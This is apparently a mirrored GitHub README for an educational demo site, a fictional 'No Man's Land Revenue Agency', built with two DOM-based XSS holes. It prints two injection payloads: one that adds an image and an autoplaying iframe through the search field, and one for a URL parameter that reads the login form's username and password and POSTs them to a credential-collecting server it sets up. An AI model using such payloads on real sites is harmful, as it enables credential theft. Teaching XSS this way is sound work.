Git Product home page Git Product logo

nomanslandra's Introduction

No Man's Land Revenue Agency

This is a demo of two DOM-based XSS vulnerabilities in a specifically crafted for this purpose website. Imagine you're in No Man's Land and you need to access their revenue agency in order to fill in some tax statements...

Instructions

To get started, navigate to No Man's Land Revenue Agency home page: https://mtsanovv.github.io/nomanslandra/frontend/index.html. Feel free to play around with the website and figure out the XSS vulnerabilities yourself (or you can just check out the section below).

XSS vulnerabilities in the website

  • To inject malicious code via html element, open the search page and put the following string in the query input field and then press 'Search': article');$("#search").append("<img src=\"https://media.tenor.com/7XnVtgeQv4EAAAAC/money-pool-rich.gif\"/><iframe width=\"1\" height=\"1\" src=\"https://www.youtube.com/embed/_w7Ft_JTbH4?autoplay=1&loop=1\"><\/iframe>");console.log('

  • To inject malicious code via URL and collect some credentials:

    1. Create a MySQL database using the storeCredentials.sql file from the backend directory and grant SELECT/INSERT/UPDATE/DELETE privileges for it to some user
    2. Navigate to the backend directory and configure the MySQL properties in server.js (make sure to use the user from step 1)
    3. Run node server.js (you may need to run first npm install express mysql cors in the backend directory)
    4. Navigate to the malicious login page URL

Notes

  • Created for educational purposes only and to demonstrate how bad XSS vulnerabilities can be
  • Recommended browser engine: Chromium (Chrome). Gecko (Firefox) might also work but it has not been tested and WebKit (Safari) is not recommended due to odd behavior
  • The app that has those XSS vulnerabilities fixed can be found at the following URL: https://mtsanovv.github.io/nomanslandra/frontendInvulnerable/index.html
  • This is the unencoded JavaScript code for the 'continue' parameter in the malicious URL: $.ajax({contentType:'application/json',type:'POST',url:'http://localhost:3000/storeCredentials',data:JSON.stringify({username:$('input:eq(0)').val(),password:$("input:eq(1)").val()})});$("article").first().append('<img src="https://media.tenor.com/7XnVtgeQv4EAAAAC/money-pool-rich.gif"/><iframe width="1" height="1" src="https://www.youtube.com/embed/_w7Ft_JTbH4?autoplay=1"></iframe>');console.log
  • The website is based on Telephasic by HTML5UP!
  • Inspired by: https://btvnovinite.bg/bulgaria/shegadzhii-udariha-sajta-na-nap.html

License

Creative Commons Attribution 3.0 Unported http://creativecommons.org/licenses/by/3.0/

M.Tsanov, 2023

nomanslandra's People

Contributors

mtsanovv avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.